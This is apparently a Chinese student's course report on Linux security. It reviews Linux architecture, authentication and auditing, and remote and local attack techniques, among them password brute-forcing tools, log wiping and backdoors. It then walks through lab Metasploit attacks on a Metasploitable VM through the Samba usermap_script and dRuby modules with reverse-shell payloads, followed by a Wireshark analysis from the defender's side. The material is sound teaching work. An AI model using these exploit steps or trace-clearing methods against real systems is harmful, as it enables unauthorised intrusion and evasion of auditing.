20199327 2019-2020-2 《网络攻防实践》第八周作业

理论学习

1. 基本框架概述

linux是一种典型的宏内核结构。在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM(Loadable Kernel Module)机制装载或卸载。在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。Linux操作系统内核结构图如下图。

Linux的优势:

  • 跨平台的硬件支持;

  • 丰富的软件支持;

  • 多用户多任务;

  • 可靠的安全性;

  • 良好的稳定性;

  • 完善的网络功能;

Linux系统结构:

  • Linux系统进程和线程管理机制:传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。

    进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复;

  • Linux系统的设备处理机制:Linux内核中处理或者管理硬件控制器的软件,抽象了设备的处理,支持三类硬件设备:字符设备、块设备和网络设备;

  • Linux系统内存管理机制:

    内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间;

    虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。;

  • Linux系统的调用机制: 程序透过访问接口来访问硬件设备和其他系统资源,Linux系统的系统调用通过软中断来实现;

2. 安全机制

Linux操作系统的核心安全机制:身份认证、授权与访问控制、安全审计;

  • Linux身份认证机制

安全主体:Root根用户,普通用户、系统用户。

Linux用户信息保存在系统的/etc/passwd文件中,加密口令字则存放在/etc/shadow文件中,只对Root可读。

身份认证方式:本地身份认证(本地系统登录)和网络身份认证(远程网络访问)

过程:目前的Linux系统普遍采用SSH服务进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:

  1. 基于口令的身份认证,即用户名密码;

  2. 基于非对称密钥的身份认证;

PAM:Linux的统一身份认证中间件,可插入身份认证模块(Pluggable Authentication Modules);

PAM支持四种管理界面:

  • 认证管理

  • 账户管理

  • 密码管理

  • 会话管理

  • Linux安全审计机制

通过以下三个主要的日志子系统来实现:

连接时间日志:管理员能跟踪谁在何时登陆了系统;

进程统计日志:为系统中的基本服务提供命令使用统计;

常用的日志文件如下:

3.远程安全攻防技术

  1. 远程口令猜测与破解攻击: 远程渗透攻Linux系统最简单的方法仍然是猜测 或破解出系统的登录口令

流行工具:

Brutus:支持HTTP、POP3、FTP、SMB、telnet、IMAP等多种协议;

TCP Hydra:支持超30多种协议,包括HTTP/HTTPS、SSH、FTP、SMB、telnet,可执行字典攻击和口令穷举暴力破解;

Cain and Abel:Windows和Linux双用;

可通过严格的口令字管理制度和措施解决,具体如下:

  • 确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。

  • 特权账户应避免远程直接登录,只能在本地登录。

  • 口令长度至少达到8位,包含字母、数字和标点符号。

  • 对多次认证失败进行纪录,并在多次无效登录之后断掉连接。

  • 不要再自己登录的所有系统上都使用相同的口令字。

  • 并要笔录自己的口令字。

  • 使用基于公开密钥证书的身份认证机制。

  • 修改网络服务的默认端口。

  1. 网络服务远程渗透攻击:
  • Linux内核中的网络协议栈攻击;

  • LAMP WEB网站中的网络服务攻击;

  • FTP、Samba等文件共享服务;

  • 电子邮件收发服务;

  • 其他网络服务的攻击;

防范措施:

  • 禁用不必要的网络服务;

  • 尽量选择更安全的网络协议和服务软件;

  • 及时更新网络服务版本;

  • 使用防火墙为Linux网络服务添加网络访问控制;

  • 建立入侵检测与应急响应计划流程;

  1. 攻击Linux客户端程序和用户:
  • 攻击Linux平台上的客户端程序;

  • 攻击Linux系统用户;

防范措施:及时更新软件;在下载软件的时候通过官方下载渠道,并校验MD5

  1. 攻击linux路由器和监听器:

针对使用Linux作为路由器系统的路由器的攻击;

针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等

防范措施:增强安全意识,关注厂商的安全威胁报告;及时进行固件的升级;掌握攻击者的入侵渗透手段,并进行渗透测试。

4.Linux本地安全攻防技术

  • linux 本地特权提升

本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。

Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。

sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限

利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函

措施:在安装软件的过程中评估风险;及时对服务器进行升级维护;安全的配置系统,设置强口令字,使用SELinux等安全增强模块

  • Linux消灭踪迹

通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
通过对.bahs_history文件的清理,清理shell的命令痕迹

措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

将日志信息写道难以修改的媒体介质上;

将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。

  • 远程控制与后门

通过替换对系统原有的远程登录程序进行替换实现后门;

通过图形化远程控制软件例如VNC实现攻击;

措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

理论实践

实践一

KALI 192.168.200.14
meta 192.168.200.5

实验已经确保虚拟机互相ping通,网络模式都调为NAT

kali中输入msfconsole启动kali里面的msfconsole

输入search usermap查看漏洞的详细信息

输入use exploit/multi/samba/usermap_script选择针对漏洞的渗透攻击模块,输入show options,如下图所示。

输入info,查看信息:

输入show payloads列举出所有适用的负载模块,如图所示,

然后执行set PAYLOAD cmd/unix/reverse选择你要用的攻击负载模块。选择18号(反转),执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,。

使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

输入exploit开始攻击。

输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。

实践二

1.首先使用nmap扫描靶机,查看开放的端口,及端口上程序的版本,nmap -sV 192.168.200.5

2.参考了朱星帆同学的博客,选择dRuby漏洞作为攻击漏洞。

与实践一雷同,运用漏洞获取权限

3.在msfconsole中使用use exploit/linux/misc/drb_remote_codeexec使用渗透攻击模块,查看信息

4.使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

5.输入show payloads列举出所有适用的负载模块;

6.执行set payload cmd/unix/reverse,执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,再show options查看是否配置成功,如图:

7.输入run开始攻击,输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。

上次突然成功,没有捕包,后面捕包执行的是ifconfig,如图:

防守方

1.攻击方ip:通过对数据包流量及数据包内容的分析,可以看出攻击方是192.168.200.14

2.目标ip端口:通过对嗅探报文的分析可以看出攻击方连接的端口均局限在8787端口上

3.攻击利用漏洞:8787是攻击的目标端口,通过查看nmap结果可以查到,这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。

4.使用的shellcode:在wireshark抓包过程中,查看tcp流,可以看到如下:


上图倒是没咋看懂。。。

在实践1的基础上,wireshark实时监听经过网卡的数据包。从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。

问题

攻击时出现Exploit completed, but no session was created.问题,时而可以,比较玄学

“无会话已创建”消息发生:

1)您使用的漏洞利用对您所选择的目标不起作用。可以
是一个不同版本的漏洞,有一个问题
利用代码,或目标配置有问题。

2)您使用的漏洞利用被配置为使用不创建的有效载荷
互动会话。在这种情况下,框架无法知道
被剥削者是否工作,因为它没有收到连接
从目标成功时(例如运行记事本)。

如果您尝试反向有效载荷,获取该消息和目标服务
不会崩溃,确保您的目标设置是正确的,而且
目标系统正在运行正确版本的易受攻击的软件。

总结

这次的实践和上次差不多,操作基本可以,但对原理的分析还是比较难顶

posted @ 2020-04-23 10:35  肖子玉20199327  阅读(245)  评论(0编辑  收藏  举报